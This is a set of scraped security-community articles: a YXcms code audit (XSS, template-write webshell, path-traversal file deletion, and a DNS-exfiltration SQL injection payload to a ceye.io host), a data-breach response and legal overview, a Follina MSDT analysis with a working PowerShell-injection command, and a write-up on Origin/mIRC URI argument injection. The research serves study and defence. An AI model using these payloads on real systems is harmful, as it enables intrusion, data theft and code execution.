for($i=1;$i<count($tableinfo);$i++){
$cont.= '<tr><td align="right">'.$tableinfo[$i]['name'].'：</td><td align="left">';
switch ($tableinfo[$i]['type']) {
case 1:
$cont.= '<input type="text" name="'.$tableinfo[$i]['tableinfo'].'" value="'.$info[$tableinfo[$i]['tableinfo']].'">';
break;
case 2:
$cont.= '<textarea name="'.$tableinfo[$i]['tableinfo'].'" style="width:300px !important; height:80px">'.$info[$tableinfo[$i]['tableinfo']].'</textarea>';
break;
case 3:
$cont.= '<textarea class="editori" name="'.$tableinfo[$i]['tableinfo'].'" style="width:100%;height:250px;visibility:hidden;">'.html_out($info[$tableinfo[$i]['tableinfo']]).'</textarea>';
break;
case 4:
$cont.= '<select name="'.$tableinfo[$i]['tableinfo'].'" >';
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
$flog=false;
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
if($info[$tableinfo[$i]['tableinfo']]==$vos[0]) {
$flog=true;
$cont.='<option selected value="'.$vos[0].'">'.$vos[1].'</option>';
}else{
$cont.='<option value="'.$vos[0].'">'.$vos[1].'</option>';
}
}
if(!$flog) $cont.='<option selected value="">=没有选择=</option>';
$cont.= '</select>';
break;
case 5:
$cont.= '<input name="'.$tableinfo[$i]['tableinfo'].'" id="'.$tableinfo[$i]['tableinfo'].'" type="text" value="'.$info[$tableinfo[$i]['tableinfo']].'" />';
$cont.= '<iframe scrolling="no"; frameborder="0" src="'.url("extendfield/file",array('inputName'=>$tableinfo[$i]['tableinfo'])).'" style="width:300px; height:30px;"></iframe>';
break;
case 6:
$chooses=explode("rn",$tableinfo[$i]['defvalue']);
foreach ($chooses as $vo) {
$vos=explode(",",$vo);
$nowval=array();
$nowval=explode(",",$info[$tableinfo[$i]['tableinfo']]);
$cont.= (in_array($vos[0],$nowval))?$vos[1].'<input checked type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" />':$vos[1].'<input type="checkbox" name="'.$tableinfo[$i]['tableinfo'].'[]" value="'.$vos[0].'" /><br>';
}
break;
}
$cont.= '</td></tr>';
}
echo $cont;
只有`case3` 使用了`html_out`函数，
这个`html_out`函数操作就很骚。。。
在`html代码输出`利用`htmlspecialchars_decode`将特殊的 HTML
实体转换回普通字符。。那么上面的被实体化的又被转换了回来。。。就可能会有XSS漏洞。。。
`/protected/include/lib/common.function.php`
//html代码输出
function html_out($str){
if(function_exists('htmlspecialchars_decode'))
$str=htmlspecialchars_decode($str);
else
$str=html_entity_decode($str);
$str = stripslashes($str);
return $str;
}
别的参数，都被html实体化了为：`<svg/on<x>load=alert(2)>`
，只有留言内容用了`html_out`函数，被转换了回来。。
被转换为了`<svg/on<x>load=alert(4)>` 但是存在`<x>`
测试了一下竟然成功xss：
是因为这个富文本编译器的原因导致的`xss`导致了`<x>`被吞，只剩下`<svg/onload=alert(4)>`执行了xss代码。(这里有点不是很清晰，找文章也没找到一个合理的解释，如果有大佬知道原理，请告诉我一下)
可以利用这个漏洞来获取管理员的`cookie`，进入后台。。。
## 任意文件写入(getshell)
### 漏洞复现
进入网站后台。
`/index.php?r=admin/set/tpadd&Mname=default`
新建模板文件：
可以创建任意的文件。。
通过目录结构，可以找到新的模板文件的位置`/protected/apps/default/view/default/phpinfo.php`
可以看到是我们写入的文件被执行了，所有可以写入一句话木马，来进行`getshell`。。
### 代码分析
代码位置`protected/apps/admin/controller/setController.php`：
public function tpadd()
{
$tpfile=$_GET['Mname'];
if(empty($tpfile)) $this->error('非法操作~');
$templepath=BASE_PATH . $this->tpath.$tpfile.'/';
if($this->isPost()){
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
if(empty($filename)||empty($code)) $this->error('文件名和内容不能为空');
$filepath=$templepath.$filename.'.php';
if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}
try{
file_put_contents($filepath, $code);
} catch(Exception $e) {
$this->error('模板文件创建失败！');
}
$this->success('模板文件创建成功！',url('set/tplist',array('Mname'=>$tpfile)));
}else{
$this->tpfile=$tpfile;
$this->display();
}
}
这里`$_GET['Mname']`是新增模板文件的模板名字。。如果没有就会`error('非法操作~')`;
新增模板的文件名和文件内容 是通过`post`进行传输的。
这里的文件保存路径就是`$templepath=protected/apps/default/view/default/`
然后对文件名和文件内容进行了非空验证`if(empty($filename)||empty($code))
$this->error('文件名和内容不能为空');` 别的没有验证。。。
验证了一下文件的路径：`if($this->ifillegal($filepath)) {$this->error('非法的文件路径~');exit;}`
追踪这个函数`ifillegal`:
代码位置`/protected/apps/admin/controller/setController.php`
protected function ifillegal($path)
{
if(strstr($path,"./")||strstr($path,".\")||!strstr($path,"/view/")) return true;
else return false;
}
也没有什么问题，然后就可以创建模板文件了。。
看完代码发现对文件内容没有任何的要求，直接`getshell`,这种管理员直接可以创建可执行文件的行为是很危险的。。。
## 任意文件删除(一)
### 漏洞复现
这个漏洞还是在后台。。。
看到了这里有一个删除的按钮
点击删除，进行抓包：
通过控制`fname`参数可以实现任意文件删除的功能。。
### 代码分析
代码位置`protected/apps/admin/controller/filesController.php`：
public function del()
{
$dirs=in($_GET['fname']);
$dirs=str_replace(',','/',$dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(is_dir($dirs)){del_dir($dirs); echo 1;}
elseif(file_exists($dirs)){
if(unlink($dirs)) echo 1;
}else echo '文件不存在';
}
对`fname`进行替换操作`str_replace(',','/',$dirs);`
讲参数最前面的分号(%2C)替换为`/`
然后完整的拼接路径，看文件是否存在，存在就进行删除。。。
这里没有读传入的参数进行过滤，
可以及逆行上跳目录，从而达到任意文件删除的效果。。。
## 任意文件删除(二)
### 漏洞复现
漏洞位置一如既往的还在后台：
在对文章编辑的页面上，发现存在删除已上传的图片的功能。。
设置抓包，点击删除：
虽然显示的是缩略图不存在，但是通过查看发现已经删除了123.txt这个文件
也是存在任意文件删除
### 代码分析
代码位置`/protected/apps/admin/controller/photoController.php`
public function delpic()
{
if(empty($_POST['picname'])) $this->error('参数错误~');
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname))
@unlink($path.$picname);
else{echo '图片不存在~';return;}
if(file_exists($path.'thumb_'.$picname))
@unlink($path.'thumb_'.$picname);
else {echo '缩略图不存在~';return;}
echo '原图以及缩略图删除成功~';
}
这个代码和上面的那个任意文件删除，差不多，都是对参数的过滤不严谨，导致可以上跳目录，删除任意文件。。。
## SQL注入
### 漏洞复现
url:`/index.php?r=admin/fragment/index`
利用[ceye](http://ceye.io/)得到的回显。。。
用bp抓包，修改id为 payload:`2 and if((select load_file(concat('\\',(select
database()),'.36rdia.ceye.io\abc'))),2,2)`
在ceye上面可以得到回显：
得到了数据库名称`yxcms`
### 代码分析
代码位置`protected/apps/admin/controller/fragmentController.php`
public function del()
{
if(!$this->isPost()){
$id=intval($_GET['id']);
if(empty($id)) $this->error('您没有选择~');
if(model('fragment')->delete("id='$id'"))
echo 1;
else echo '删除失败~';
}else{
if(empty($_POST['delid'])) $this->error('您没有选择~');
$delid=implode(',',$_POST['delid']);
if(model('fragment')->delete('id in ('.$delid.')'))
$this->success('删除成功',url('fragment/index'));
}
}
主要就是这一句话`if(model('fragment')->delete('id in ('.$delid.')'))`
追踪一下这个`delete`函数
先找一下这个`fragmentModel`
代码位置：`protected/apps/admin/model/fragmentModel.php`
<?php
class fragmentModel extends baseModel{
protected $table = 'fragment';
}
发现没有任何东西，去这个`baseModel`里面找一下
代码位置：`protected/base/model/baseModel.php`
<?php
class baseModel extends model{
protected $prefix='';
public function __construct( $database= 'DB',$force = false ){
parent::__construct();
$this->prefix=config('DB_PREFIX');
}
}
看一下这个`model`
代码位置：`protected/base/model/model.php`
public function delete($condition){
return $this->model->table($this->table, $this->ignoreTablePrefix)->where($condition)->delete();
}
这里又有一个`delete()`，这个应该还要找一下：
位置：`protected/include/core/cpModel.class.php`,
public function delete() {
$table = $this->options['table']; //当前表
$where = $this->_parseCondition(); //条件
if ( empty($where) ) return false; //删除条件为空时，则返回false，避免数据不小心被全部删除
$this->sql = "DELETE FROM $table $where";
$query = $this->db->execute($this->sql);
return $this->db->affectedRows();
}
这里也是为sql语句赋值，然后拼接sql语句的作用。。
获取一下sql语句为`DELETE FROM yx_fragment WHERE id in (3)`。。。
需要关注这个代码：`$where = $this->_parseCondition(); //条件`
代码位置：`protected/include/core/cpModel.class.php`
private function _parseCondition() {
$condition = $this->db->parseCondition($this->options);
$this->options['where'] = '';
$this->options['group'] = '';
$this->options['having'] = '';
$this->options['order'] = '';
$this->options['limit'] = '';
$this->options['field'] = '*';
return $condition;
}
这里`$condition = $this->db->parseCondition($this->options);`
看一下`parseCondition`这个函数：
位置`protected/include/core/db/cpMysql.class.php`
public function parseCondition($options) {
$condition = "";
if(!empty($options['where'])) {
$condition = " WHERE ";
if(is_string($options['where'])) {
$condition .= $options['where'];
} else if(is_array($options['where'])) {
foreach($options['where'] as $key => $value) {
$condition .= " `$key` = " . $this->escape($value) . " AND ";
}
$condition = substr($condition, 0,-4);
} else {
$condition = "";
}
}
if( !empty($options['group']) && is_string($options['group']) ) {
$condition .= " GROUP BY " . $options['group'];
}
if( !empty($options['having']) && is_string($options['having']) ) {
$condition .= " HAVING " . $options['having'];
}
if( !empty($options['order']) && is_string($options['order']) ) {
$condition .= " ORDER BY " . $options['order'];
}
if( !empty($options['limit']) && (is_string($options['limit']) || is_numeric($options['limit'])) ) {
$condition .= " LIMIT " . $options['limit'];
}
if( empty($condition) ) return "";
return $condition;
}
大部分代码都是为变量赋值的，
里面有一句代码`escape($value)` 应该是一个过滤函数
查看一下这个函数`escape`
//数据过滤
public function escape($value) {
if( isset($this->_readLink) ) {
$link = $this->_readLink;
} elseif( isset($this->_writeLink) ) {
$link = $this->_writeLink;
} else {
$link = $this->_getReadLink();
}
if( is_array($value) ) {
return array_map(array($this, 'escape'), $value);
} else {
if( get_magic_quotes_gpc() ) {
$value = stripslashes($value);
}
return "'" . mysql_real_escape_string($value, $link) . "'";
}
}
发现只有当我们传入的值为数组的时候，会对数组中的每个参数进行`mysql_real_escape_string()`函数进行处理。
sql语句为`DELETE FROM yx_fragment WHERE id in ($id)`
由于注入语句并没有单引号包裹，所以说可以直接进行注入，
但是没有页面的回显，可以利用`ceye`平台进行注入，在那里可以看到注入的回显。进行sql注入。
## 总结
第一次审计一个cms，虽然这是一个入门级的cms，比较简单，但是也从中学到了点知识。。。
审计代码要有耐心。。。找函数的时候直接用`Seay源码审计系统`中的全局搜索比较方便，自己乱找的话，心态会崩。。。
## 参考
<https://www.secshi.com/18986.html>
[ceye](http://ceye.io/)
<https://xz.aliyun.com/t/2734#toc-0> | 社区文章 |
# 数据安全事件应急及溯源分析实践案例
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、2021年数据安全事件态势分析
2021年数据安全事件类型中，数据泄漏事件占比超八成，并呈现不断增长的宏观态势，尤其在下半年，数据泄漏事件发生的频率较高。
高频率发生的原因可能与《数据安全法》、《个人信息保护法》的颁布有关，相关法律法规将数据的安全类型、级别做出了更为清晰的划分之后，前期遗漏的诸多场景也纳入了数据泄漏事件的范畴。除此之外，以“获利”为目的的数据泄漏事件占比最高，由利益驱使的数据泄漏事件仍然最为常见。
从数据的全生命周期阶段分析发现，2021年数据泄漏事件最易发生在存储阶段，其次是数据使用阶段，整体占比将近70%。这两个阶段都属于数据泄漏的高风险阶段和数据安全防御的重点阶段，应当予以重视。
导致数据泄漏的诸多原因中，内部人员恶意泄漏和黑客攻击所占比例最高，内部原因占比高达42%。除此之外，越权访问也是值得注意的成因之一。
内部人员导致的数据泄漏事件包括主动泄密和失误泄密。主动泄密事件，大部分是受到利益驱使，或者被外部人员欺骗，或者对雇主企业存在不满情绪。失误泄密事件，大多是由于安全意识薄弱或者流程设置有问题造成的，从而进一步导致安全策略配置错误，例如访问权限控制缺失、安全管控粒度粗放、账号凭据丢失等。
在所有数据泄漏事件中，个人类信息（包括隐私信息、生物特征信息、行为信息、人脉关系信息）等仍是被最主要泄漏的数据类型。例如，个人自然信息（基本信息、财产信息、健康信息等）占比就高达
51%。
各大行业中，互联网、医疗行业对个人信息的数据泄漏情况最为严重，占比近五成，大多是由于行业对数据安全保护方面的投入较少导致的。不仅如此，被泄漏的个人数据信息还会通过各种渠道流向黑灰产业，对社会造成二次危害。
## 2、数据安全事件应急处置
预防数据泄露是数据合规工作中的重点和难点之一，数据泄露事件一旦发生，企业不仅需要承担高昂的经济损失，还可能承担严重的法律后果。《数据安全法》规定，对造成大量数据泄露等严重后果的数据处理者，将处以较高数额的罚款，责令暂停相关业务、停业整顿、吊销相应业务许可证或营业执照；《个人信息保护法》也规定，违反个人信息保护义务导致信息数据泄露的，将没收违法所得，对违法处理个人信息的应用程序，责令暂停或者终止提供服务，相关违法行为还会被计入信用档案并公示。本次将围绕“47家医院数据泄露”案例来分析数据安全事件发生后，应该如何进行应急响应。
企业在数据安全事件发生后应注意采取如下应对措施：
### **2.1调查起因，评估影响与风险，采取补救措施**
接到威胁情报或者监管部门事件通知后，涉事企业应按照本企业的《网络安全应急预案》部署事件处理团队，立即进行事件确认，调查排查数据泄露的原因，识别涉及的数据类型和数量以及数据的敏感程度，确定受影响的个人信息主体的范围，分析所涉数据是否已加密、防控措施是否有效抵御了攻击等，据此评估对个人信息主体的权利和自由的影响程度以及其他可能造成的后果。同时，企业应当立即保护网络系统，修复可能造成数据泄露的漏洞，并防止数据进一步泄露，例如封锁环境、限制访问、监控出入点、关闭受影响的设备、更改秘钥等。在此过程中，企业可以聘请外部法律和技术团队协助电子数据取证并留存证据，以备后续可能发生的调查和争议。
### **2.2上报监管机构，通知受影响的个人信息主体**
根据对安全事件的影响与风险的评估以及相关法律法规要求，确定企业是否需要上报监管机构、是否需要通知受影响的个人信息主体。如有必要，企业应迅速确定如下内容：（1）此次安全事件是否受域外法律管辖，且所涉域外法律是否有特殊规定；（2）上报哪个/哪些监管机构，是否包括域外的监管机构；（3）需要通知的数据主体的范围以及通知的方式；（4）上报的内容以及通知的内容。在确定上述内容后，及时根据相关法律法规要求进行上报和通知。
《网安法》也在第22和25条规定了网络运营者的通知义务和补救义务。网络运营者发现其网络产品、服务存在安全缺陷、漏洞等风险时，应当立即采取补救措施，按照规定及时告知用户并向有关主管部门报告；在发生危害网络安全的事件时，应立即启动应急预案，采取相应的补救措施，并按照规定向有关主管部门报告。
GDPR第33和34条规定了在发生个人数据泄露的情形时，数据控制者的报告和通知义务。除非个人数据泄露不太可能会对自然人的权利和自由造成风险，数据控制者应当在发现数据泄露的72小时内将个人数据泄露的情况报告监管机构。如果数据泄露可能对自然人的权利和自由产生较高风险，数据控制者还应当立即将个人数据泄露的事实告知数据主体。
### **2.3做好安全事件记录**
《网安法》第21条还要求网络运营者采取监测、记录网络运行状态、网络安全事件的技术措施，并按照规定留存相关的网络日志不少于六个月。
无论安全事件是否需要上报监管机关或通知受影响的自然人，企业都应当做好安全事件的记录。如果企业根据评估决定不上报和通知，企业应当记录评估的分析过程与结果。企业还应当留存安全事件有关的事实、事件起因、相关影响以及采取的补救措施的相关记录，且相关网络日志至少要留存六个月的时间。这不仅是法律法规的要求，在监管机构介入并可能定性和判罚时，也将成为判罚的重要参考依据。
## 3、47家医院数据泄露事件溯源分析
通过对泄露数据的综合分析研判，47家医院提供的数据均与“JXKH”相关，并包含数据采集相关文档、SQL语句等内容，其中部分医院提供了以“XXXXX_”为开头的*.xlsx文件，内容为就医患者个人敏感身份信息及就医信息。在互联网上对该字段进行检索发现其为国家WJWXXXX管理平台XXXX关联字段。考虑存在两个泄露路径：源代码泄露路径、供应链泄露路径等。详情分析可点击这里：https://articles.zsxq.com/id_5ss2a078h1ha.html
## 4、相关法律规定
《网络安全法》第二十五条
网络运营者应当制定网络安全事件应急预案，及时处置系统漏洞、计算机病毒、网络攻击、网络侵入等安全风险；在发生危害网络安全的事件时，立即启动应急预案，采取相应的补救措施，并按照规定向有关主管部门报告。
《数据安全法》第二十九条
开展数据处理活动应当加强风险监测，发现数据安全缺陷、漏洞等风险时，应当立即采取补救措施；发生数据安全事件时，应当立即采取处置措施，按照规定及时告知用户并向有关主管部门报告。
《数据安全法》第四十五条
开展数据处理活动的组织、个人不履行本法第二十七条、第二十九条、第三十条规定的数据安全保护义务的，由有关主管部门责令改正，给予警告，可以并处五万元以上五十万元以下罚款，对直接负责的主管人员和其他直接责任人员可以处一万元以上十万元以下罚款；拒不改正或者造成大量数据泄露等严重后果的，处五十万元以上二百万元以下罚款，并可以责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照，对直接负责的主管人员和其他直接责任人员处五万元以上二十万元以下罚款。
违反国家核心数据管理制度，危害国家主权、安全和发展利益的，由有关主管部门处二百万元以上一千万元以下罚款，并根据情况责令暂停相关业务、停业整顿、吊销相关业务许可证或者吊销营业执照；构成犯罪的，依法追究刑事责任。
《网络安全法》第五十一条国家建立网络安全监测预警和信息通报制度。国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作，按照规定统一发布网络安全监测预警信息。
《网络安全法》第二十一条
国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求，履行下列安全保护义务，保障网络免受干扰、破坏或者未经授权的访问，防止网络数据泄露或者被窃取、篡改：
（一）制定内部安全管理制度和操作规程，确定网络安全负责人，落实网络安全保护责任；
（二）采取防范计算机病毒和网络攻击、网络侵入等危害网络安全行为的技术措施；
（三）采取监测、记录网络运行状态、网络安全事件的技术措施，并按照规定留存相关的网络日志不少于六个月；
（四）采取数据分类、重要数据备份和加密等措施；
（五）法律、行政法规规定的其他义务。
《数据安全法》第二十七条
开展数据处理活动应当依照法律、法规的规定，建立健全全流程数据安全管理制度，组织开展数据安全教育培训，采取相应的技术措施和其他必要措施，保障数据安全。利用互联网等信息网络开展数据处理活动，应当在网络安全等级保护制度的基础上，履行上述数据安全保护义务。
## 5、参考文献链接
[_https://mp.weixin.qq.com/s/emGbS_Axv35_DBliGv1oVw_](https://mp.weixin.qq.com/s/emGbS_Axv35_DBliGv1oVw)
[_https://mp.weixin.qq.com/s/CSRe_nhdzjZa1hZd6JF61A_](https://mp.weixin.qq.com/s/CSRe_nhdzjZa1hZd6JF61A)
[_https://mp.weixin.qq.com/s/8XRpQG8WR1BbL4nYk-oeRQ_](https://mp.weixin.qq.com/s/8XRpQG8WR1BbL4nYk-oeRQ)
[_https://www.jingtian.com/Content/2019/08-14/1056180730.html_](https://www.jingtian.com/Content/2019/08-14/1056180730.html) | 社区文章 |
**作者：HuanGMz@知道创宇404实验室
时间：2022年6月7日 **
**English version:<https://paper.seebug.org/1914/>**
分析一下最近Microsoft Office 相关的 MSDT 漏洞。
## 1\. WTP 框架
文档：<https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal>
> Windows Troubleshooting Platform (WTP) provides ISVs, OEMs, and
> administrators the ability to write troubleshooting packs that are used to
> discover and resolve issues found on the computer
WTP 框架提供了一种自动化 检测/修复 故障的方式。
**WTP 结构：**
上图展示了 WTP 的底层结构：
* WTP由两个进程组成，Process1 是带UI 的 Troubleshooting Run-time Engine，Process2 用于提供 Windows PowerShell Runtime 环境。
* Process2 提供的 PowerShell 运行时环境提供了4条特殊的 PowerShell 命令：Get-DiagInput, Update-DiagReport, Update-DiagRootCause, Write-DiagProgress。
* Troubleshooting Pack 运行在Process1 和 Process2 所构建的平台上。
故障排除包 是用户可编程部分，其本质上是一组 针对特定故障的 检测/修复脚本。Process1 的Troubleshooting Run-time
Engine 从故障排除包中获取 检测脚本，并交给Process2 运行。Process2 中特殊的 PowerShell
运行时环境提供了4条专用的命令给故障排除包里的脚本使用。
故障排除包的设计基于三个步骤：检测问题（troubleshooting）、解决问题（resolution）和验证解决方案（verification），对应
TS_、RS_、VF_ 三种脚本。
实际上 Process1 就是 msdt.exe ，Process2 则是 sdiagnhost.exe。sdiagnhost.exe
为了给msdt.exe 提供运行脚本的能力，注册了IScriptedDiagnosticHost com接口，相应的com方法就是：RunScript()。
WTP 还提供了一系列的默认故障排除包，可以在 ms-msdt 协议里通过 -id 参数指定。本次漏洞中所使用的 PCWDiagnostic
就是其中之一，用于程序兼容性的故障排除。
## 2\. 漏洞复现与调试方法
**漏洞复现：**
该漏洞可通过 doc 或 rtf 文档的形式触发，但为了调试方便，我们直接使用 msdt.exe 命令触发：
C:\Windows\system32\msdt.exe ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=fff$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe "
在 **cmd** 中使用上面的命令触发漏洞（不要直接用powershell）。
**漏洞调试：**
mspaint.exe 进程创建在 sdiagnhost.exe 下，且 PowerShell Runtime 由c# 实现。尽管
sdiagnhost.exe 本身是一个非托管程序，我们仍然可以使用 dnspy 来进行 .net 调试。
设置好 dnspy 调试所需要的环境变量：
COMPlus_ZapDisable=1
COMPlus_ReadyToRun=0
在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\ 注册表路径下创建 sdiagnhost.exe 项，并在该项下创建 Debugger 字符串，值为dnspy 路径。
使用前面的命令触发漏洞，然后会看到 dnspy 被调用，但处于未开始调试的状态。此时需要我们手动点击上面的"启动" 来开启调试。
在 Microsoft.Windows.Diagnosis.SDHost.dll 里的
Microsoft.Windows.Diagnosis.ManagedHost.RunScript() 方法下断点。该方法实现了
IScriptedDiagnosticHost com接口里的 RunScript() 方法，用于给 msdt.exe 提供执行检测脚本所需的
PowerShell 运行时环境。然后重新触发漏洞，便可在此中断。
RunScript() 方法一共被触发了两次，第一次用于调用 TS 脚本，第二次用于调用 RS 脚本，且第二次有参数。
## 3\. 漏洞原因与触发条件
本质上这是一个 PowerShell 代码注入漏洞。
ManagedHost.RunScript() 使用 PowerShell.AddScript() 方法来添加要执行的命令，并且text
中的部分内容可控（参数部分）。这是典型的 PowerShell 代码注入漏洞，使用AddScript() 会导致在调用时对 text 里的 $
字符进行语法解析（优先将其解析为子表达式运算符）。
类似于下面这样：
PowerShell powerShellCommand = PowerShell.Create();
powerShellCommand.AddScript("ls -test $(iex('mspaint.exe'))");
var result = powerShellCommand.Invoke();
实际上漏洞触发于第二次调用 RunScript()，调用 RS 脚本时，相应的 text 为：
@"& ""C:\Users\MRF897~1.WAN\AppData\Local\Temp\SDIAG_d89d16cb-49d3-48ef-bea4-daebc1919abb\RS_ProgramCompatibilityWizard.ps1"" -TargetPath ""h$(IEX('mspaint.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"" -AppName ""mpsigstub"""
可以看到传给 AddScript() 的字符串没有对 $ 符号进行过滤，导致了代码注入。
**触发条件：**
要想成功触发对 RS_ProgramCompatibilityWizard.ps1 的调用，要先通过
TS_ProgramCompatibilityWizard.ps1 脚本的检测。
观察TS_ProgramCompatibilityWizard.ps1 脚本的代码：
Get-DiagInput 命令就是我们前面提到的WTP PowerShell Runtime
提供的4条特殊命令之一，该命令用于从用户获取输入信息。这里获取我们传入的 IT_BrowseForFile 参数 并赋值给了
$selectedProgram 变量。
而后调用 Test-Selection方法来对 $selectedProgram 进行检测：
该函数首先使用 test-path 命令来对路径进行检测，以保证路径存在。然后要求路径的扩展名为 exe 或 msi。
但是 test-path 对于使用 /../ 返回到根路径之外的路径会返回True，比如下面的：
这里以 \ 开头，表示当前盘符的根目录，\\..\ 存在，所以 \\..\\..\
便超出了范围，返回为true。也可以像c:\\..\\..\hello.exe 这样。如果像原始payload 那样以一个普通字符开头，考虑到
TS_ProgramCompatibilityWizard.ps1 脚本所在的临时目录，以及 该普通字符所占一级，至少需要9个 \\..\ 才可以。
然后从 $selectedProgram 里提取文件名，并过滤$符号，以防代码注入。但这行代码其实是错的，正确的写法如下：
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("`$", "``$")
由于原来的脚本中直接使用 "$"，该 "$" 实际会在传给Replace之前被PowerShell 引擎解析，根本无法匹配到 $ 字符。
TS 脚本的最后，使用了Update-DiagRootCause 命令，该命令也是4条特殊命令之一，用于报告root cause
的状态。注释中写道该命令会触发调用 RS_ 脚本，-parameter 指定的字典会被作为参数传给脚本。导致第二次调用 RunScript()
方法，并且参数中的 -TargetPath 可控，进而触发了漏洞。
## 参考资料：
<https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wintt/windows-troubleshooting-toolkit-portal>
* * * | 社区文章 |
# 浅谈URI Schemes的利用方式
##### 译文声明
本文是翻译文章，文章原作者 zeropwn，文章来源：zeropwn.github.io
原文地址：<https://zeropwn.github.io/2019-05-22-fun-with-uri-handlers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在过去一个月左右，我花了许多时间来阅读和测试自定义URI
Schemes。正如我前一篇[文章](https://zeropwn.github.io/2019-05-13-xss-to-rce/)中提到的那样，不妥善实现的自定义URI可能会存在许多安全问题。我提到了“许多”这个词，这里我想以EA
Origin客户端为例，跟大家分享这方面内容。
简而言之，本文介绍的是Origin的另一个RCE漏洞，并不是CVE-2019-11354。
## 0x01 自定义URI Schemes
在本文中，我们将以Origin客户端为研究对象。然而这个漏洞同样存在于其他许多应用中，这种技术这并不是Origin特有的。为了让我们更好理解漏洞利用原理，我们需要理解Windows对自定义URI
Schemes的处理方式。
如果我们在注册表中查找Origin的URI Scheme，可以看到如下信息：
从上图中我们可以看到如下数据：
"C:\Program Files (x86)\Origin\Origin.exe" "%1"
当我们调用`origin://`或者`origin2://`时，Windows会使用`ShellExecute()`来生成一个进程，使用我们的输入数据来替换`%1`。
比如：`origin://game/launch`就会生成一个Origin进程，其中命令行参数为：
C:\Program Files (x86)\Origin\Origin.exe "origin://game/launch"
如果我们稍微读一下官方手册，在MSDN上搜索注册自定义URI Schemes的相关资料，可以看到微软已经友情提示了一些安全问题。官网上有这么一段话：
> 如上所述，传递给可插入协议（pluggable
> protocol）handler的字符串可能会被截断成多个参数。恶意攻击者可能使用其他引号或者反斜杠字符来绕过其他命令行参数。因此，handler应该假设所有的命令行参数都有可能来自于攻击者，必须小心处理这些参数。如果应用可能执行基于外部数据的危险操作，那么首先应当与用户确认这些操作。此外，负责处理这些数据的应用程序应当针对过长的URI或者某些非预期的（或者不需要的）字符串序列进行测试。
这意味着应用程序需要确保攻击者无法通过精心构造的URI来注入任何非法字符或者参数。
**基于URI的利用技术历史悠久**
如果大家看过[这篇文章](https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62)，就知道通过URI实现参数注入并不是一种新的技术。
之前有些漏洞可以在URI中添加未转义的`"`符号，从而从`%1`参数中逃逸。比如，为了使用CVE-2007-3670来注入参数，我们只需要让远程用户访问我们精心构造的`iframe`以及URI，就可以通过注入的参数来生成目标进程。
firefoxurl://placeholder" --argument-injection
**只使用命令注入是否足够？**
这个过程涉及到`ShellExecute`的调用方式以及参数传递方式，我们无法最终注入自己想要的命令，只能注入参数。
## 0x02 参数注入
受限于大多数应用程序（浏览器、邮件客户端等）对URI的处理方式，参数注入攻击在2019年已经越来越难以利用。现代浏览器（Chrome、Firefox、Edge）在处理链接时会对某些字符强制编码，这显然会使攻击者更加难以逃逸。
然而，如果自定义URI没有对注册表中的参数进行适当的转义，我们可以直接使用空格符来注入参数。
最近`mIRC`存在这样一个漏洞，为了实现RCE，攻击者只需要使用如下payload即可：
<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini'>
大家可以参考[此处](https://proofofcalc.com/cve-2019-6453-mIRC/)了解详细的漏洞发现和利用过程。
无论如何，对于本文研究的Origin案例，我们准备搭建全新安装的Windows 8系统，搭配IE11浏览器，后面将进一步讨论绕过现代安全机制方面相关内容。
### Payload
启动虚拟机，安装Origin。打开notepad，输入如下数据：
<iframe src='origin://?" -reverse "'>
在IE中打开，允许Origin启动（如果IE会弹出提示框的话）。我们应该可以看到如下界面：
如上图所示，窗口图标现在已经跑到另一侧。这里我忘了提到一点，`-reverse`是Qt特定的一个参数。Origin主要采用Qt框架开发，因此我会忍不住尝试一下这些参数。
如果我们使用Process Explorer观察该进程，可以看到如下信息：
了解以上信息就足以理解参数注入攻击场景。
## 0x03 任意代码执行
那么我们如何利用这一点实现代码执行？为了查看哪些选项可用，我们需要了解能使用的参数列表。在分析Origin自己的参数之前，我们先来关注Qt特定的参数。
查看[Qt官方文档](https://doc.qt.io/qt-5/qguiapplication.html)后，可知对于所有Qt程序，我们都能使用如下参数：
-platform
-platformpluginpath
-platformtheme
-plugin
-qmljsdebugger
-qwindowgeometry
-qwindowicon
-qwindowtitle
-reverse
-session
-display
-geometry
其中较值得注意的一个参数是`platformpluginpath`。通过这个参数，我们能指定Qt插件的加载路径。这些Qt插件（DLL文件）随后会被加载到Origin中并执行。
我们可以利用这个行为，通过Windows共享配合`platformpluginpath`参数实现远程加载插件。
Qt官方给出了Qt插件以及对应的目录列表。当使用`platformpluginpath`参数时，`QGuiApplication`会自动加载下列目录中的有效DLL。
基类 | 目录 | Qt模块
---|---|---
QAccessibleBridgePlugin | accessiblebridge | Qt GUI
QImageIOPlugin | imageformats | Qt GUI
QPictureFormatPlugin | pictureformats | Qt GUI
QAudioSystemPlugin | audio | Qt Multimedia
QDeclarativeVideoBackendFactoryInterface | video/declarativevideobackend | Qt
Multimedia
QGstBufferPoolPlugin | video/bufferpool | Qt Multimedia
QMediaPlaylistIOPlugin | playlistformats | Qt Multimedia
QMediaResourcePolicyPlugin | resourcepolicy | Qt Multimedia
QMediaServiceProviderPlugin | mediaservice | Qt Multimedia
QSGVideoNodeFactoryPlugin | video/videonode | Qt Multimedia
QBearerEnginePlugin | bearer | Qt Network
